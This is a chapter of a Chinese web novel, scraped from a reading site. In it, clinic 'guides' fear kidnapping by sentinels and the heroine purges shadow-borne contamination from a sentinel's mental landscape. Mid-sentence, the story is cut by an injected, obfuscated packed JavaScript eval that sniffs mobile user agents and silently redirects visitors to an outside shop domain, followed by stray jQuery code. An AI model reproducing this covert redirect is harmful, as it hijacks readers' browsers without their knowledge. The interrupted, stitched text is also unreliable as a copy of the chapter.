文趣网 > 都市小说 > 联邦第一向导 > 13. 入网(二)
    次日不到两点钟,穆月白就急吼吼出门,惊了巷口休息的大黄狗一大跳,恶狠狠朝她狂吠。

    因为于青清的事,整个上午她都有些神情不属,早上做饭时心不在焉,以至于罐头皮在锅里咕噜噜转了几个旋,才被捞出,一锅青菜粥顷刻变了味道,但她依旧食不知味地吃下了一碗。

    一路赶至诊所,时间还不到两点半。

    穆月白眸光在店内一转,只看到另外三人,却没有于青清的身影。罗医生歪身在前厅和邬老板有一搭没一搭地聊着,约翰照常擦拭着那些常年滞销的药剂。罗医生说八句邬老板才回一句,一个眉飞色舞,一个漫不经心,把穆月白看乐了。

    罗医生听见她笑,幽怨地转过头:“哟,白医生来这么早。”

    罗医生作为诊室内最坚定的按时上下班主义者,对其他人或早或晚的上下班行为都颇有微词。但自从上次那妇人闹后,他晚下班片刻却意外尝到了苹果,让他有些动摇,今天来得格外的早。

    “有点事儿。”穆月白没理他的小情绪,飞快扫了更衣室一眼,又眯起眼瞄向诊室的门缝,指了指,“于医生在里面吗?”

    “嗯,刚完,正在里面收拾呢。”罗医生回答道。

    “就她一个人?”穆月白快步往里走,顿了顿又回身,“罗医生你也来,我也有事跟你说。”

    没有告知邬老板和约翰,一是因为这俩老油条本就拥有对环境的敏感度,也手握不为人知的底牌;二是如果贸然告知此事,可能引发新的猜疑,适得其反。

    思及此,穆月白加快速度。

    诊室内,于青清正在诊台小心翼翼地收纳用过的仪器,小拇指高高翘起,动作有些迟缓,见到穆月白进门,一脸吃惊地问:“白医生,你怎么来这么早?”

    穆月白:“......”

    不就早来半小时至于这么吃惊吗?

    她轻咳一声,招呼于青清坐下。后脚进来的罗医生一屁股坐在病床上,问道:“对啊,你要说什么?”

    “三天后娜塔莎要来离星了,你们知道吧?”

    “知道啊,咱们上次不都聊过了吗?到底有啥事?非要快下班的时候说……”罗医生不耐烦道。

    “她一来,保护她的哨兵肯定也来。”穆月白打断罗医生连珠炮似的诘问,继续道,“除了那些指派保护她的哨兵,势必还有一堆牛鬼蛇神、苍蝇臭虫冒出头。”

    “那又怎样?”

    “什么怎样,那些哨兵万一逮到咱们这些势单力薄的小向导,直接绑去深山老林当成血包狂抽向导素,到时候叫天天不灵,叫地地不应,一辈子都毁了。”穆月白煞有介事地说。

    “天哪,哨兵有那么坏吗?”于青清一脸不可置信。

    罗医生嘴巴张张合合,本来想嘲讽穆月白胆小的话被吞下去,改为呵斥于青清,语气讽刺又严厉。

    “于青清,你到底怎么回事儿,脑袋长在脖子上不用吗?星网上绑架向导的案例一刷一长串,别以为诊所里的哨兵对你都一副殷勤热络的样子就信以为真了,那是他们有求于你。”说到最后罗医生又变成了酸溜溜的语气,但其中的关怀意味作不得假。

    “新闻上也没说是哨兵绑的啊。”于青清小声嘟囔。

    “你——”罗医生显然被气到了,一个大喘气后又要开始他狂风骤雨般的攻击。

    “停!”穆月白及时打断他们,不希望这场谈话从关心变质为争吵,把早准备好的资料包转发给她,里面尽是有关向导的恶性事件。

    幽禁,绑架,勒索,性/犯罪,虐/杀比比皆是。

    于青清读完,脸色惨白,嘴唇颤抖,颤颤巍巍地向穆月白和罗医生道谢。

    罗医生双手抱臂站在一旁,下巴微扬,从鼻孔里发出一声轻哼。穆月白轻笑,这就是他表达翻篇的意思。

    罗医生见她俩俱神色不变,别扭地凑过来,神秘兮兮地说:“你俩有武器吗?手里有武器,心里有底气。没有的话去找邬老板买。”

    穆月白挑挑眉,不置一词。

    于青清从骇然中回神,惊奇的目光在她俩身上扫来扫去,见她们都一脸赞同催促的意味,顺从地点点头,直挺挺地出门找邬老板去了。

    不一会儿,于青清就一脸激动地朝她俩比了个OK的手势,黄色创可贴在她瘦削的小拇指上绕了几大圈,衬得她的手和人更加娇小了,穆月白都担心她是否握得住枪。

    三个武器盲就各式武器的用途和威力争辩一会儿,分不出所以然,聊到交班时间就自然散开了。

    *

    夜色如瀑,遮蔽住了大地,幸得几盏路灯照亮了前进的路。路旁的大黄狗正在酣眠,忽被一阵香味馋醒,起身一看原来是今天中午吵醒它的人类扔的骨头,目送她离开后,才高高兴兴地开啃。

    临到门口,一道黑色阴影投射在家门前的地板上,笔直弯折。

    穆月白心突地一跳,手已经摸进口袋里。细细看去,发现暗处的人,背脊挺拔孤高,久久伫立在门旁一动不动,似门前站岗的石狮子,沉稳端正,正是纪安。

    穆月白松口气,忘了今晚是约定好的疏导时间,下班五分钟前正好有个哨兵来疏导,多耽搁了一会儿,才让他被拦在门外吹凉风。

    穆月白快步冲上去,边开门边解释晚到的原因。纪安摇摇头说没关系。觉察他神色倦怠,声音干涩,她随口问他原因。纪安又摇摇头,不欲多说。

    穆月白眉梢微动,没有深究的打算。他定然是在追查他母亲死亡的真相,涉及痛苦的记忆,细节不欲多谈,否则也不会给她发语焉不详的消息。

    大门打开,一根头发飘落在穆月白手中,她不动声色地握住,回身请他落座,顺手倒来一杯温水让他缓缓。

    温热的水汽在纪安眼中蒸腾,驱散了奔波的疲惫。

    他缓了缓神,温声询问能否开始疏导,穆月白点头,引他至接待室,按照先前的程序让精神体先接触一会儿。

    尽管提前叮嘱过圆圆,让它刚开始还装模作样矜持一会儿,但不到二十秒就泄了气,化身为龙卷风摧毁接待室,在房间里疯跑疯跳,就连之前文静的黑豹也有样学样开始弹跳蹦跑。

    她有些无奈,面带歉意地看向纪安,正想发表诸如我家孩子平时不这样的言论,就正正好看到了纪安温柔含笑的眉眼。

    穆月白一下就怔住了,纪安平时不苟言笑的样子,虽可靠持重,却总让人萌生隔阂之感。

    但一笑起来,那层包裹的坚冰又顷刻融化,和煦温柔像天空中悠悠飘过的白云,忍不住想蹭想摸。

    她直勾勾的眼神让纪安有些赧然,他轻咳一声,唤回穆月白飘散的心神。

    穆月白不好意思地笑笑,大方伸出手握住纪安的手腕,自如进入了他的精神图景。

    他的精神图景一如既往的景色怡人,比起上次的动荡不安,更添温和之色。也许是彼此之间更熟悉,也许是精神力运用更得心应手,穆月白敏锐感知到一丝不和谐的因素。

    这小小的隐忧如同掉进衣服里的碎发,缩回脚底板的毛袜,在能忍受的范围,又清晰得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812771|210933||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无法忽视。

    她没有急着找纪安,而是不断在丛林中穿梭,试图找出不适之处。

    不断来来回回,进进出出,从人形化作精神体又变回人形,穆月白筋疲力尽地坐在一块大石头上休息。

    树木虫鸟不断在脑中闪回,穆月白愈感疲惫,不得不建立起更为牢固的精神屏障。

    突然一抹灵光划过她的脑海,第一次见到的黑豹不就是这般不停地在丛林间跑来跑去吗?

    穆月白悚然一惊,后背的汗毛根根竖起。这才是真正的污染源。

    污染潜藏在潜意识中,一旦知觉就立刻掉进了意识的陷阱,简直是防不胜防。幸而,她第一次强硬转移误打误撞地阻挡了进一步污染的脚步。

    想通了一切,穆月白立刻盘算起清理方案,想对付认知污染要么抽丝剥茧追根溯源,要么就大力出奇迹。

    她首先怀疑这层层叠叠的树木。

    这片精神图景几乎处处都是树木,只有小溪旁少一些。她立即动身在小溪旁清出一片空地,有减弱的迹象,但那诡异的感觉还是隐隐缠绕着她。

    其次是无处不在的空气。气息混杂的丛林送来的清香中也有可能潜藏着剧毒,但当她构筑出一小方真空地带后污染却没有发生变化。

    第一次污染明显减弱,而第二次没有变化,谜底就隐藏在差异中。

    穆月白站在空地中央,垂首思索,余光中她看到了自己的影子。

    阳光下的影子斜斜地从脚底拉出,晃晃悠悠,被风吹起的头发纷飞,在空中海藻般漂浮,融合在人影中,仿佛张牙舞爪的触手。

    穆月白灵光一闪,立马在最近的一棵树下试验,运用精神力形成尖刺在树影间不停乱搅,立刻被一股无形的力量阻挡住,她心下了悟——找对了,就是影子。

    她右手一翻,凝出更多的精神力加码在尖刺上,终于在某一刻那股裹挟着的力量一松,漆黑的树影变回了灰暗。

    穆月白心下大喜,快刀斩乱麻地抽调精神力在图景中形成厚重的乌云遮蔽阳光,树影微弱,污染无处遁形。她又凝结精神力化作一只黑色细狗,指派它吃掉那重重黑影。

    黑影在细狗的左追右赶下挤作一块儿,细狗张开巨口,三下五除二吃干抹净,满足地化作一缕清风消散。

    小溪对面,一只黑豹正懒洋洋趴在小溪旁的大石头上晒太阳,尾巴有一搭没一搭地撩着石头,发出闷闷的响声。穆月白心中遗憾,要是有照相机就好了。

    污染指数降至39%,穆月白捏着手中的新卡,露出标准式的营业微笑送他至门边。

    纪安面对着穆月白,唇边带笑,眸光微动,“明天我要回军区一趟,有什么问题可以随时在光脑上联系我。”

    穆月白又被他的笑容晃到,呆立片刻,又觉不对。

    娜塔莎正是三天后来离星,怎么他刚好就跑出去?

    纪安看她表情,明白她是误会了,解释道:“木燎星有新的线索,而且我还要去收集消息和装备。”

    穆月白反应过来是去准备她提出的武器装备,笑容更真实了几分,殷切又郑重地嘱咐他一路小心。

    睡梦中,穆月白正在超市里大抢购,薯片、泡面、牛肉干和各类新鲜瓜果统统扫到购物车里,她有些奇怪平时自己很少来楼下的超市,又挤又贵,但心底又有一道强烈的意识催促她赶紧买,正当要付账之际,一股强大的吸力使她脱离超市场景,大脑仿佛被在洗衣机里搅。

    这强烈的混乱又清醒的感觉,穆月白明白了,她又进入了网。